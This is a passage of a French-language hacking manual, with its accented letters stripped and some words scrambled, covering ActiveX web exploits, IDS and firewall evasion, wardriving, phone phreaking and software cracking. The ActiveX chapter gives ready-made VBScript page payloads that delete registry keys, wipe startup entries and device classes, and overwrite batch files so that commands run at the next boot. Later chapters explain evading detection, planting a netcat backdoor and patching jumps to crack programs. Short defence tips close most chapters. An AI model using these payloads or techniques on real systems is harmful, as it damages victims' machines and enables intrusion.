echo Attention, je ne fonctionne que sous Windows 2000. echo. echo Ah ! oui, il vous faut la NTRK de Microsoft. echo. where /r C:\*.exe pause where /r C:\*.com echo Au revoir!!!

ActiveX
Il ne se passe un mois sans que lon trouve une nouvelle faille dans la technologie de Microsoft : ActiveX. Faire un cours sur ActiveX et sur la cration dune page web dpasse le cadre de ce livre, on verra seulement certaines failles ActiveX permettant de faire diffrentes actions sur un systme (vous pourrez trouver dautres codes sur internet). Tous les codes suivant sont en VBScript. Comment supprimer une cl de la base de registre
<html> <body> <script Language="VBScript"> Set WshShell = CreateObject("WScript.Shell") WshShell.RegDelete "HKEY_LOCAL_MACHINE\xxxxx\" </script> </body> </html>

xxxxx : est modifier par la cl que vous voulez. Comment supprimer les programmes se lanant au dmarrage de Windows
<html> <body> <script Language="VBScript"> Set WshShell = CreateObject("WScript.Shell") WshShell.RegDelete"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ Windows\CurrentVersion\Run" </script> </body> </html>

Comment crer un raccourci vers un site internet sur le bureau

122

<html> <body> <script Language="VBScript"> if location.protocol = "file:" then Set WshShell = CreateObject("WScript.Shell") Set FSO = CreateObject("Scripting.FileSystemObject") HPath = Replace(location.href, "/", "\") HPath = Replace(HPath, "file:\\\", "") HPath = FSO.GetParentFolderName(HPath) Set TRange = document.body.createTextRange Set RealLink = WshShell.CreateShortcut("C:\WINDOWS\bureau\site") RealLink.TargetPath = "http://www.site.com" RealLink.Save end if </script> </body> </html>

Comment supprimer lhistorique


<html> <body> <script Language="VBScript"> Set WshShell = CreateObject("WScript.Shell") WshShell.RegDelete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\e xplorer\ RecentDocs\" WshShell.RegDelete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\e xplorer\ RunMru\" WshShell.RegDelete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\e xplorer\ Doc Find Spec MRU\" WshShell.RegDelete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\e xplorer\ FindComputerMRU\" </script> </body> </html>

Dsinstaller limprimante, le clavier, lcran, la souris et le disque dur


<html> <body> <script Language="VBScript"> Set WshShell = CreateObject("WScript.Shell") WshShell.RegDelete "HKEY_CURRENT_USER\System\CurrentControlSet\Services\Class\Pri nter\" WshShell.RegDelete "HKEY_CURRENT_USER\System\CurrentControlSet\Services\Class\Key board\"

123

WshShell.RegDelete "HKEY_CURRENT_USER\System\CurrentControlSet\Services\Class\Mon itor\" WshShell.RegDelete "HKEY_CURRENT_USER\System\CurrentControlSet\Services\Class\PCM IA\" WshShell.RegDelete "HKEY_CURRENT_USER\System\CurrentControlSet\Services\Class\Mou se\" </script> </body> </html>

On peut encore faire beaucoup de choses comme enlever des lments du menu Dmarrer, dsinstaller des programmes, crire des cls dans la base de registre ou les modifier Maintenant, voici comment crire un fichier bat sur un PC :
<html> <body> <script Language="VBScript"> if location.protocol = "file:" then Set FSO =CreateObject("Scripting.FileSystemObject") HPath = Replace(location.href, "/", "\") HPath = Replace(HPath, "file:\\\", "") HPath = FSO.GetParentFolderName(HPath) Set TRange = document.body.createTextRange Set BatFile = FSO.CreateTextFile("c:\Windows\xxxx.bat", 2, False) BatFile.WriteLine "" BatFile.WriteLine "Ici le fichier bat voulu (son contenu)" BatFile.Close end if </script> </body> </html>

xxxx.bat est un fichier .bat qui peut exister (comme autoexec.bat) cela entranera donc son crasement et lcriture de notre fichier .bat la place : au prochain dmarrage nos commandes seront excutes. On peut aussi crer un nouveau fichier .bat

Pourquoi ces vulnrabilits ActiveX existe-t-elle?


Nous allons essayer de savoir pourquoi de telles codes peuvent mettre plat la scurit de Windows. Microsoft a dvelopp 5 niveaux (ou encore appels zones ) de scurit dans Internet Explorer, les voici : - Poste de travail - Sites de confiances

124

Sites sensibles Internet Intranet local

Pour information, on peut configurer ces zones de scurits grce Internet Explorer par le biais de Options Internet du menu Outils. Par mesure de scurit, on ne peut configurer la zone Poste de travail avec Internet Explorer (heureusement, cest notre disque dur). De plus, la zone Poste de travail est la plus permissive. Le but des vulnrabilits de ce type est dexcuter ce que lon veut dans la zone de scurit Poste de travail . Avant de continuer, sachez que chaque zone a ses protocoles : http:// pour Internet, file:// pour Poste de travail Alors, pour contourner ces zones, il faut utiliser des fonctions de changements de zones qui ne sont pas contrles. Voici un bout de code qui peut permettre le contournement (il ne peut fonctionner seul):
opener.location = " file:" ; vRef = opener.location.assign;

Le chapitre prend fin, vous venez de dcouvrir une nouvelle facette du piratage web grce des vulnrabilits que Microsoft na pas encore patch lheure o se livre est crit. Certains pirates les utilisent pour diverses actions, comme placer un virus dans un systme sans que lutilisateur ne fasse quelque chose (il doit quand mme se rendre sur la page contenant le code). Certains crateurs de sites pornographiques les utilisent aussi pour placer leurs kits de connexions sur votre systme ds que vous chargez les pages de leurs sites.

Parades :
-

installez un firewall, installez un antivirus et le mettre rgulirement jour, ne pas se fier aux apparences. Car les virus vont adopter n' importes quelles formes attrayantes et attirantes pour que vous les chargiez, ne pas trop faire confiance lantivirus install par dfaut dans Windows XP.

125

126

Piratage de composants rseaux

127

IDS
Dans ce chapitre, nous allons nous intresser aux systmes de dtection d' intrusion (IDS) . Nous allons voir en quoi ils consistent puis comment les pirates russissent contourner ces systmes de dtection.

les IDS :
Comme en tmoigne son nom, un IDS est un systme de dtection d' intrusion pour les systmes Unix/Linux ( l' heure o ce livre est rdig en tout cas ). Les IDS ont 2 types d' analyse : - Lanalyse des signature : lIDS va capturer des paquets en direction du systme ou du rseau sur lequel il est plac. Puis il va les comparer avec les lments de sa base de donnes de signatures dattaques. Si la comparaison s' avre positive, lIDS va alerter l' utilisateur o l' administrateur du rseau pour lui signaler une attaque. Si la comparaison s' avre ngative, lIDS ne fait rien. - L' analyse heuristique : comme pour les antivirus, lIDS va analyser le comportement des paquet reus, d' programme install sur le systme un et pleins dautres lments pour essayer de dtecter des comportements anormaux. Il existe 2 type d IDS : - les IDS rseau (NIDS) qui sont constitus de deux parties, un programme qui va capturer les paquets circulant sur le rseau et un poste charg d' analyser le paquet captur. Le programme de capture peut tre aussi bien un sniffer ou une carte rseau en mode promiscuit (cf le chapitre sur le sniffing) . - les IDS personnel (HIDS) que l' installe sur un ordinateur, comme des on antivirus. Ils sont constitus d' lment qui utilise aussi les deux types un d' analyses cites prcdemment. Les HIDS utilisent plusieurs techniques de dtection : laudit de systmes la recherche de fichiers ayant t corrompus ou modifis, l' installation d' jeu de fichier log (journaux un systmes) journalisant les faits et gestes des programmes et utilisateurs de l' ordinateur. Termes en rapport avec les IDS : - NIDS : IDS reseau - HIDS : IDS personnel - faux positif : fausses alertes envoyes par lIDS - faux ngatifs : vritables attaques non signales par lIDS

128

first match : signalement dune attaque aprs sa premire apparition. multiple match : signalement dune attaque aprs des multiples apparitions.

First match et multiple match correspondent des modes dactivits dun IDS, cest-dire que lIDS peut alerter ds la premire apparition d' attaque ou la suite de une plusieurs apparition d' attaque. une

contournement dun IDS :


le spoofing :
Le spoofing en lui-mme ne va pas vraiment servir au pirate qui veut contourner un IDS moins que ce dernier soit bas sur l' analyse du champ des paquets contenant l' adresse IP de l' metteur. Le spoofing va surtout servir contourner certains ACLs quaurait pu installer l' utilisateur du systme.

fragmentation :
Certains IDS ont un trs grand problme. Ils assemblent avec difficults des paquets fragments. C' pour cela quen jouant un peu avec les paquets que l' aura est on fragment, on pourrait peut-tre contourner un IDS (cela touche surtout les IDS rseau) . Voici certains exemples de manipulation des paquets fragments : - on les envoie dans le dsordre en commenant par le milieu ou par le paquet de la fin - on envoie des paquets fragments en dupliquant l' des paquets un - on envoie simultanment plusieurs paquets.

modification des TTL :


On peut jouer avec le champ TTL d' paquet pour atteindre un systme cible ou pour un flooder lIDS rseau.

DoS :
On peut invalider le systme de dtection l' intrusion l' d' attaque DoS. On aide une peut par exemple lancer des simulateurs d' attaques ou crer une base de donnes d' attaques (en saidant de programmes que l' peut trouver sur Internet) pour qu' on ils balancent leurs attaques contre les systmes de dtection d' intrusion (il faut voir grand comme 20000 attaques pratiquement simultanes et rgulires) . Cela peut aussi servir cacher une vraie attaque que lon aurait confectionn.

129

encapsulation :
On peut encapsuler des attaques dans des paquets forgs et anodins. Les paquets peuvent tre du mme protocole ou de protocoles diffrents. Cela peut servir si ladministrateur a mis une bascule de protocole dans la DMZ. Cela reviendrais faire du tunneling.

le polymorphisme :
Le polymorphisme est trs utilis en virologie informatique ou lors de la cration d' attaques de type dpassement de tampon distance. Pour plus informations sur cette technique, rfrez-vous au chapitre sur les virus informatique. Internet est aussi une mine d' sur le polymorphisme des virus. or Pour ceux voulant attaquer un IDS laide dun shellcode (comme pour les attaques par dpassement de tampons, vous pouvez utiliser ADMutate de K2 qui utilise le polymorphisme pour cacher les shellcodes ).

ASCII et UNICODE :
Comme les IDS sont bass sur l' analyse des signatures. Pour contourner cette protection, il suffit alors de refaire l' attaque en modifiant son code : cela peut passer par la transformation du code d' attaque en quivalent UNICODE (cf les attaques contre les CGI)

les NOP de lassembleur :


Voil encore une autre technique prise des dpassements de tampons. Lorsque l' on rdige ce genre de attaque, on ne peut pas toujours prvoir l' adresse de retour la fonction cible. Pour pallier ce problme, on peut utiliser l' instruction NOP (No Operation) qui ne fait rien et passe linstruction suivante. Et bien, cette technique peut-tre utilise pour contourner les IDS qui ne vrifient pas toujours les paquets en entier (seulement le dbut du paquet gnralement) . On a donc la possibilit de masquer le code de l' attaque en y mettant, au dbut une grande suite de NOP.

le retour au rpertoire prcdent :

130

Les habitus de Linux doivent connatre les caractres du genre : ../ et ./ . Dans cette technique, seul le premier caractre nous intresse et figure dans les lments permettant aux pirates de modifier la signature d' attaque. une

le changement :
Le plus simple est de changer d' attaque et de ne pas affronter lIDS de face. Faire par exemple une attaque par dpassements de tampons Le scanner de CGI Whisker de Rain Forest Puppy intgre quelques techniques contre les IDS. Analyser son code source peut grandement aider.

Parades :

- mettre rgulirement jour la base de donnes des attaques des IDS - changer l' implmentation des IDS pour quils analysent les paquets en entier et grent mieux la fragmentation. - crer une DMZ et mettre un NIDS par segment de rseau. - toujours mettre un firewall/routeur avec le NIDS

131

132

Murs par feu

Un mur par-feu est un systme ou un logiciel qui va analyser et contrler le trafic entre votre systme, internet et dautres systmes dans tous les sens possibles dans le but de scuriser votre ordinateur au maximum. Il existe principalement deux types de murs par-feu : - ceux qui se comportent comme des routeurs. Ce sont des murs par-feu matriels. - ceux qui se comportent comme des proxys. Ce sont des murs par-feu logiciels. Les murs par-feu fonctionnent gnralement comme des systmes de filtrage de paquets qui analysent des paquets du trafic et laissent passer seulement ce qui a t autoris. Voici un clbre phrase rsumant bien le travail dun firewall : un firewall refuse et interdit tout ce qui na pas t explicitement autoris. Un mur par-feu peut tre contourn et transperc et nous allons voir dans ce chapitre comment cela est possible.

identification d' firewall : un


traceroute et tracert :
Traceroute et tracert sont des utilitaires permettant de dcouvrir les chemins qu' un paquet empreinte pour aller jusqu' notre destinataire : - si au dernier bond, ladresse IP du destinataire n' apparat pas, on peut en conclure qu' y a un systme de filtrage de paquets. il si on analyse bien les flags des paquets envoys et reus, quon remarque qu' y a une anomalie, on peut en conclure quil y a un il systme de filtrage de paquets.

Voici un tableau expliquant les flags denvois et de retours des paquets. STATE listen listen FLAG NULL FIN REPLY None None

133

listen listen listen closed closed closed closed closed

RST ACK SYN RST NULL ACK SYN FIN

None RST SYN/ACK None RST/ACK RST RST/ACK RST/ACK

balayage :
Si le systme de filtrage de paquets bloque et ignore les paquets ICMP et UDP, vous pouvez utiliser un outil de scan comme nmap (en dsactivant le sondeur ping ICMP bien sur), hping, et firewallk (qui utilise une technique proche de traceroute).

ICMP :
Le protocole ICMP peut nous tre dun grand secours dans notre qute, pour cela, il faudrait tudier les diffrents codes ICMP .

les bannires :
Scanner les ports du systme de filtrage pour obtenir son nom puis faire une recherche sur les failles spcifiques ce systme de filtrage de paquets.

les ACLs (Access Control List) :


Dans cette technique, nous allons dterminer ce que le systme de filtrage de paquets autorise et ce quil nautorise pas et trouver un moyen de contourner le firewall. Nous allons devoir envoyer diffrents paquets (ayant une modification au niveau de leur TTL, et tant fragment) vers le systme de filtrage de paquets cible; puis fort de nos dcouvertes, nous allons essayer de le contourner grce lencapsulation de protocole, la fragmentation.

passer outre les systmes de filtrage :


- Utiliser la technique de contournement dACLs. - Aprs avoir rcupr les informations sur le systme de filtrage de paquet, il faut faire des recherches sur les failles de ce systme de filtrage de paquets dans des sites o des newsgroups comme celle de securityfocus.com

134

- Pour passer au travers d' systme du filtrage, on peut aussi utiliser une technique un nomme le tunneling ( laide de httport et htthost), que je ne dtaillerais pas dans ce livre car elle ncessite de pouvoir avoir un accs un poste se trouvant dans le rseau. Pour information, le tunneling utilise une technique dencapsulation de protocole dans un autre protocole. - Pour connatre les systmes tournant derrire un firewall, on peut capturer les informations SNMP du rseau. Si on connat quel domaine appartient le firewall oumme la cible, on peut aussi faire des requtes de type AXFR (rfrez-vous la partie concernant le transfert de zones) . - Pour cartographier un rseau se trouvant derrire un systme de filtrage de paquets, on peut utiliser le programme firewallk qui utilisent une technique particulire : il est bas sur traceroute. Puis en fonction des paquets qu' reoit, firewallk forge des il paquets en modifiant les TTL pour pouvoir accder au divers systmes du rseau. - On peut aussi mettre en place une attaque par injection de code distance mais cela dpasse le cadre de ce livre et demande une connaissance de la programmation Windows.

placer un backdoor :
Aprs avoir lu les deux premires parties de ce chapitre, vous devriez tre capable d' identifier un systme de filtrage de paquet, d' obtenir des informations sur les systmes quil protge. Disons maintenant que nous avons russi infiltrer le systme de filtrage de paquets. Je pense que vous voudriez pouvoir revenir aisment sur le systme (quel qu' soit) il conquis? et bien pour cela, on devrait y installer une porte ouverte avec le logiciel netcat ou un cheval de troie

astuce :
Utilisez le systme de filtrage de paquets et comme proxy pour le web. L, vous pouvez tre sr d' intraable. Bien sr, masquez votre activit aux yeux de le tre administrateur qui appartient le systme de filtrage de paquets.

Parades :
-

dfinissez des ACLs strictes. placez votre systme de filtrage dans une DMZ (zone dmilitarise) utilisant une bascule de protocole. modifiez ou supprimez les bannire de vos ports faites attention vous SNMP

135

activez trs peu de port sur votre systme de filtrage de paquets (le port 80 et le port 53 suffisent gnralement)

136

137

Piratage arien
les rseaux sans-fil :
Le 802.11 est une technologie permettant de faire communiquer des PC entre eux , distance (sans fil et autres supports que les ondes radio et des ondes infrarouges) et l' des cartes rseaux adaptes. Mais les techniques utilises par ces rseaux aide dpendent de la lgislation en cours dans le pays (en France, la bande de frquence et de 2,4 GHZ pour les particuliers et les entreprises crant un rseau wifi). Voyons maintenant les topologie (ou structures) des rseaux 802.11. Pour l' instant, il en existe 2 : l' infrastructure et le ad hoc. l' infrastructure est constitue de points d' accs qui vont jouer le rle dun switch/hub entre les PC sans fil et qui sont gnralement connects un rseau cbl. Cette architecture peut faire penser une architecture client /serveur o les serveurs peuvent tre relis entre eux. le ad hoc est une architecture particulire car elle est seulement quips de PC ayant des cartes rseau adapt au sans-fil et tant auto-configurable, cest--dire, que les PC dans le rseau se reconnaissent entre eux et schangent de donnes. Chaque nuds du rseau devrait aussi pouvoir servir de routeur. Pour plus dinformations sur les rseaux sans-fil, je vous conseille de faire des recherches sur internet ou de vous procurer des livres sur ce sujet comme 802.11 et les rseaux sans-fil aux ditions Eyrolles.

la scurit des rseaux sans-fil :


Cette partie est principalement oriente technique d' intrusion et scurisation des rseaux wifi. Comment les pirates font-ils pour pntrer les rseaux sans-fil ? Et bien, ils utilisent une technique appele wardriving (ou encore wartraining, warfooting, warbusing) qui consiste parcourir des endroits et places la recherche de rseaux sans-fils. Comme pour les rseaux cbls, les informations circulent la plupart du temps non cryptes donc l' espionnage des rseaux sans-fil devient une tche aise car il nous

138

faut nous procurer un sniffer (comme TCPdump pour Linux et Ethereal pour Windows) . Maintenant voyons comment se pratique le wardriving. D' abord il nous faut du matriel adapt : un ordinateur portable une carte rseau adapte et non configure un GPS des antennes omni-directionnelles ou bi-directionnelles. Puis les logiciels adapts : un scanner de rseau sans-fil comme Netstumbler (www.netstumbler.com) pour Windows, Airtraft (sourceforge.net/projects/airtraf), Kismet (www.kismetwireless.net) et WiFiScanner (www.hsc.fr/ressources/outils/wifiscanner/) pour Linux. On lactivera pour rechercher les rseaux sans fil, un sniffer, vous pouvez prendre votre habituel sniffer, un cracker Wep comme Airsnort, pour cracker les paquets qui seraient ventuellement crypts avec le WEP, un logiciel de cartographie comme Stumverter qui envoie les diffrents lments d' rseau sans fil. Il lui faut Netstumber, Mappoint, et un GPS un pour fonctionner. Vous devez vous demander quoi peut bien servir le scan de rseaux sans fil ? Et bien couter (sniffer) les rseau pour savoir les informations qui y circulent, facilement dtourner une connexion dans le but de surfer, jouer , passer des protections par IP Il peut y avoir plusieurs autres applications et avantages de cette technique. Maintenant, passons la scurisation des rseaux sans-fil. En premier lieu, activez le WEP qui va crypter les informations qui circulent sur votre rseau wifi, vous pouvez aussi utiliser d' autres utilitaires (comme SSH) qui sont utiliss dans les rseaux cbls. Vous pouvez-vous, si vous utilisez la topologie infrastructure, mettre en place un filtrage dadresses MAC, dadresses IP ou placer des ACL (Access Control List) . La meilleure solution en plus des prcdentes serait daffecter des ID au point d' accs, aprs cette tape, on configure le rseau dans le but que seul les postes connaissant cet ID puisse se connecter au point d' accs associs. Pour plus de renseignements, procurez vous un livre sur les rseaux sans-fil qui vous indiquera les diffrents moyens qui soffrent vous pour la scurisation de rseaux sans-fil.

139

140

Rseau tlphonique commut


Dans ce chapitre, nous allons voir certaines techniques que les pirates du tlphone (phreakers) utilisent. Nous allons aussi essayer de voir et de comprendre les failles de ces systmes tlphoniques, dans le but de les scuriser ou de minimiser les possibilits d' attaque. D' abord, intressons-nous aux capacits des pirates du systme tlphonique puis donnons un exemple de piratage tlphonique. Un phreaker expriment connaissant le fonctionnement d' autocommutateur et un faisant de l' lectronique peut faire tout ce qu' veut, la seule limite sera son il imagination. Par contre, si on met des btons dans les roues d' novice, il ne pourra pas terminer un son travail et comme les novices reprsentent la majorit de la population underground qui passent leurs temps pirater des entreprises, vous pourrez vous occuper d' autres choses que de la scurit de vos systmes tlphoniques (comme les PABX , VMB et les porteuses qui sont des modems pour ceux qui ne seraient pas familiariss avec ce terme). Pour dtourner ou pirater des systmes tlphoniques, les phreakers ont la possibilit de crer des montages lectronique que l' appelle aussi box , il existe diverses on box A but informatif, la plupart des sites warez proposent des schmas des diffrentes box Les phreakers peuvent aussi pirater des PABX (des autocommutateurs crs pour la gestion des appels), des VMB (les bote vocale reposant sur les PABX), ou encore des modems, des terminaux, des VAX, des tlphones portables Bon aprs quelques notions thoriques, nous allons passer la pratique : Comment les phreakers font-ils pour pirater un rseau commut ? Et bien comme pour tous les autres systmes, il faut d' abord rechercher des informations, ici, ce sont des numros de tlphone de l' entreprise cible qui nous intressent. Les recherches peuvent tre fait dans des annuaires, des whois, des publicits, les sites de l' entreprise

141

Maintenant et il nous faut les logiciels de composition automatique de numro de tlphone comme : THC-Scan prenant linterface du DOS Toneloc de www.sandstorm.net TeleSweep de www.securelogix.com la diffrence des autres attaques dcrites dans ce livre, il va nous falloir du matriel adapt et comme pour toutes les autres attaques, nous devons avoir les autorisations des possesseurs des systmes tlphoniques que nous allons brivement contacter : car cette technique est considre comme du piratage pur et nous avons trs peu de moyens de se protger car les attaques ne peuvent se faire qu' partir de modems donc notre fournisseur d' accs va normalement remarquer que nous contactons plusieurs systmes tlphoniques la fois dans des dlais courts. Bon passons l' attaque proprement dite. Il va nous falloir des modems connects directement sur un PC pour que l' attaque aille plus vite, car nous allons donner une liste de numros de tlphone l' des un logiciels puis ce dernier va brivement contacter chaque numro et dterminer s' il s' d' personne, dun fax, dune VMB, du PABX, ou d' modem. agit une un Lors de la dcouverte d' des trois derniers systmes tlphoniques prcdant, un un bon logiciel va normalement essayer de dcouvrir soit la squence d' accs la bote vocale (pour les PABX et les VMB) soit le couple login/password du modem. Le piratage tlphonique sert gnralement tlphoner gratuitement, mais aussi, lors d' attaques volues, se protger pour ne pas se faire prendre.

142

143

Piratage logiciel

144

Les logiciels, scripts et autres programmes reprsentent les du monde informatique. Leur scurit est donc primordial. La seule mthode de scurisation d' logiciel que je connaisse est l' un analyse pas pas du code du logiciel. Bien sr, on ne peut pas avoir le code source de chaque programme et c' ici est qu' entre en jeu l' analyse du code binaire et la rtro-ingnierie, qui va nous permettre d' analyser et tracer l' excution du logiciel cible mais aussi de pouvoir voir le code assembleur des logiciels en question. Pour raliser toute cette technique d' analyse de logiciels, il va nous falloir certains outils que lon verra plus tard. Voici les principales mthodes d' analyse et de recherche de vulnrabilit dans les logiciels. Commenons par la plus simple qui est l' analyse du code source.

analyser le code source :


Cette mthode d' analyse se pratique pas pas et sert trouver et radiquer les fonctions posant problme comme strcpy(), strcat(), printf(), du langage C (cf dpassements de tampons et chanes de formats ) . Comme je le disais, cette analyse se fait pas pas, cest--dire ligne par ligne voir mot par mot ou instruction par instruction. Il existe des outils qui peuvent analyser un code source votre place mais il y a toujours une marge d erreur car aucun outil ne peut supplanter la capacit danalyse d' homme. un Voici certains de ces outils : RATS (sur www.securesw.com) qui analyse les codes sources en C, C++, Python, Perl, PHP et renvoie les ventuelles failles qui peuvent s' trouver y Flawfinder de David Wheeler Hailstorm (sur www.clicktosecure.com) qui recherche les bugs Le clbre Retina (www.eeye.com) qui offre des possibilits de faire des recherches dans le code source. Si vous ne pouvez pas vous procurer les codes sources des programmes, vous pouvez soit pratiquer la rtro ingnierie (que nous allons expliquer dans la suite de ce chapitre) soit rechercher des informations sur le logiciel comme des aides et dautres documents techniques comme les conseils du dveloppeur

145

Une autre mthode d' analyse consiste comparer les fichiers, des bout de codes

la comparaison (diffing) :
La comparaison consiste dtecter la diffrence entre 2 supports d' criture : les fichiers, les programmes (sous la forme de code source) mais aussi des bandes, disques et plein d' autres supports. Nous nallons pas nous attarder sur la thorie du diffing car son but est la comparaison des deux lments, passons directement la pratique qui est plutt simple mais peut-tre d' grand secours aussi bien pour les pirates (scnario 1) que un pour les analyseurs de codes sources (scnario 2). Je vais vous donner des scnarios d' utilisation de la comparaison. Pour savoir quelles situations elles correspondent, remontez de quelques lignes. Scnario 1 : Le pirate a pntr un systme important mais son but tait de dcouvrir le mot de passe d' programme d' un administration comme VNC. Ladministrateur penser effacer les informations pouvant porter atteinte l' intgrit de son rseau. Le pirate se retrouvent donc en face dun problme, il ne peut lancer dattaques de cracking de mots de passe sur chaque systme client sinon il pourrait veiller des soupons, il a aussi fouill de fond en comble le systme et ne trouve pas les fichiers de connexion de VNC ( disons que le administrateur les conserve sur une disquette et les dplace dans le rpertoire de VNC chaque fois qu' il veut se connecter sur un systme ). Le pirate ne peut installer un sniffer car il se doute que le administrateur a d installer un programme dtectant les sniffers ou les cartes rseau en mode promiscuit (comme Anti-sniff du Lopht) . Le pirate a donc dcid de travailler avec la mmoire du systme. Il va crer un module ou un programme qui va se charger en mmoire lors du chargement du logiciel VNC et qui s' occupera de faire des copies de la mmoire pendant que le programme d' administration est en marche. Il aura la fin une srie de copies de la mmoire et va chercher les diffrences entre elles dans le but d' obtenir les mots de passe. Il peut pour saider crer un algorithme de tri des fichiers qui va slectionner deux fichiers chaque boucle et les comparer Scnario 2 :

146

Un autre passionn de scurit et de programmation vient de tlcharger la mise jour d' logiciel mais se demande ce que le dveloppeur a vraiment patch. un Il dcide alors d' installer la version patche sur son premier ordinateur et la version non patche sur son deuxime ordinateur ( cela peut aussi marcher avec des partitions ) . Il se place alors aux commandes de ses ordinateurs, dsassemble les programmes et compare les codes sources obtenus. Il va alors avoir (en langage assembleur bien sr car les programmes ont t dsassembls) les diffrences quil va attentivement analyser. Pour faire des comparaisons, vous pouvez soit utiliser les commandes fournis par les systmes d' exploitation, soit utiliser certaines fonctions de comparaison des diteurs hexadcimaux.

les commandes :
Windows nous fournit la commande fc pour la comparaison des fichiers, elle se trouve dans le rpertoire C:\Windows\Command et est accessible par l invite de commandes Dos. Ces options sont : FC [/A] [/C] [/L] [/LBn] [/N] [/T] [/U] [/W] [/nnnn] [lect1:][chemin1]fichier1 [lect2:][chemin2]fichier2 FC /B [lect1:][chemin1]fichier1 [lect2:][chemin2]fichier2 /A Affiche la 1re et dernire ligne de chaque ensemble de diffrences. /B Effectue une comparaison binaire. /C Ignore la casse. /L Compare les fichiers en tant que texte ASCII. /LBn Dfinit le nombre maximal de diffrences conscutives comme gal au nombre de lignes spcifi. /N Affiche les numros de ligne pour une comparaison ASCII. /T Ne convertit pas les tabulations en espaces. /U Compare les fichiers en tant que fichiers texte UNICODE. /W Comprime les blancs (tabulations et espaces) pour la comparaison. /nnnn Spcifie le nombre de lignes conscutives qui doivent correspondre aprs une diffrence.

147

Unix, quant lui, nous fournit la commande diff qui sert comparer des fichiers textes. Voici un exemple de la commande fc sous Windows : Jai plac dans un rpertoire ( c:\exemple\ ), 2 listes de mots chinois (leurs phontiques en fait) qui ont quelques diffrences. Pour mettre en vidence leurs diffrences, nous allons utiliser la commande fc. Premirement, nous allons utiliser la commande dir sur le rpertoire o se trouvent les fichiers pour tre sur quils ne sont pas semblables.

Nous avons maintenant lassurance que la liste de mots chinois a t modifie. Voici ce qui les diffrencient :

148

Nous voyons clairement que dans la liste 2 (qui est en fait une mise jour) les mots nai, nan, niao, nie, nin, ning, niu, no, nou ont t ajout. Pour connatre leur signification, consultez un ouvrage de conversion francaischinois.

les diteurs hexadcimaux :


Les diteurs hexadcimaux que nous allons prsenter ont des fonctions de comparaison de fichiers.

diverses techniques :
Il existe pleins dautre techniques de comparaison des fichiers dont je nai pas parl comme la somme de contrle et des commandes permettant de dcouvrir les derniers fichiers manipuls mais cela n' entrent pas dans le sujet du chapitre.

le reverse enginneering
Le reverse enginneering est une technique qui consiste analyser un programme sous la forme dexcutable et dont on a pas le code source. Le reverse enginneering peut aussi bien servir patcher un programme dont l' utilisation est limite dans le temps ou dans le nombre d' essais, il peut aussi servir scuriser un logiciel ou obtenir son listing en assembleur dans le but de le modifier un peu ou de ladapter un environnement spcial. Il existe 2 manires d' analyser un programme :le Dead Listing ou le Live Approach.

149

Le Dead Listing consiste dsassembler le programme pour obtenir son listing (code source) en assembleur puis analyser ce dernier. Alors que le Live Approach consiste tracer l' excution du programme en mettant en place des points darrts (bpx, bpm) Maintenant, voyons les programmes utiliss pour faire du reverse enginneering. En premier, il faut un : - dsassembleur qui va d-compiler le programme pour nous donner le listing de l' excutable, - un dbogueur qui va permettre de tracer l' excution d' programme, un - un diteur hexadcimal; comme son nom lindique, il va nous permettre d' accder au fichier binaire de l' excutable, - un diteur de fichiers PE qui va nous permettre d' obtenir quelques petites informations sur l' excutable, - un logiciel nous permettant de connatre les processus en mmoire (comme Procdump), - il faudrait aussi un livre sur le langage assembleur, sur les symboles ,utiliss par Windows et sur ses fonctions systme, - un loader. Voici quelques logiciels et outils importants : - dsassembleurs : Windasm

Les diteurs hexadcimaux :

UltraEdit

150

XVI32

diteurs de fichiers PE :

PE Explorer

151

Patcher :

Data Crack Engine

CodeFusion

152

- lassembleur : il nous faut un livre sur l' assembleur et expliquant aussi l' architecture des processeurs et de la mmoire, - les fonctions Windows, - les symboles Windows, - les attributs des sections des en-ttes des excutables. Aprs cette masse de thories, un peu de pratique. Nous allons voir comment sont crer les patchs (aussi bien pour dplomber les logiciels que pour les scuriser un peu plus) puis il y aura quelques techniques permettant de contrer la dcompilation et les techniques de cracking associes.

crer des patchs :


Dfinition : - un patch est une rustine logiciel qui va modifier un/des octets des offsets bien prcis dans le but de modifier le comportement du programme quand il est soumis certaines actions. - un keygen est un petit logiciel qui dtient lalgorithme de formation des cls dactivation des logiciels commerciaux. - Un offset est une adresse. L' adresse d' octet (8 bits) se trouvant dans un un programme. Gnralement cet octet renvoie la valeur hexadcimale d' instruction du programme. Comme nous venons de le voir, loffset une renvoie une adresse prcise, donc comment faire pour accder aux

153

autres octets de l' instruction cible? Il suffit dincrmenter d' unit et une ainsi de suite loffset de base. Maintenant, voyons comment patcher un programme. La manire la plus simple d' expliquer le reverse engineering serait d' expliquer comment dplomber des utilitaires ou des programmes dont l' utilisation est limite (je parle bien sr de challenges nomms Crackme et pas des logiciels commerciaux !!!) car expliquer comment crer des patchs de scurit serait impossible faire car il existe une trop grande varit de patchs (comme il existe une trop grande varit de vulnrabilits dans les logiciels). La technique la plus utilise pour rgler la dure de vie d' programme ou pour tout un autre type de bridage et de protection est ce que l' appelle les sauts conditionnels. on En assembleur, les sauts conditionnels sont les instructions du type jxx qui servent comparer des lments ; si le test est valide alors on saute l' adresse, au label () fourni en argument. Lorsque l' trouve le saut conditionnel posant problme (dans le code source), il on suffit de remplacer lhexadcimal du saut conditionnel par lhexadcimal de linstruction NOP. Pour information, NOP a comme valeur hxadcimal : 90 Pour annuler un saut conditionnelle, il existe une deuxime solution qui consiste la changer par une instruction faisant l' inverse de l' instruction utilise dans le programme. En utilisant toujours les correspondances hexadcimale. Il nous reste plus qu' crer le patch servant modifier d' autre programme semblable et que l' diffusera. on Pour faire cela, on peut soit programmer une petite rustine en langage C ou en langage assembleur qui ira loffset du saut conditionnel, modifiera les valeurs de loctet par des valeurs fournis. On peut aussi utiliser des logiciels qui vont analyser le logiciel d' origine avec le logiciel craqu et qui vont produire le patch. Pour clore le chapitre, nous allons voir certaines techniques de protection contre le reverse enginnering.

la modification des attributs des sections de l' excutable :


Pour drouter certains crackers (reversers), on peut modifier manuellement ou l' aide de PE crypteurs les caractristiques des sections de l' excutable. Cela peut aussi permettre de crypter le code de l' application, en plaant le point d' entre du programme (entry point) vers une section qui dtient une routine de dchiffrement du code

154

le polymorphisme :
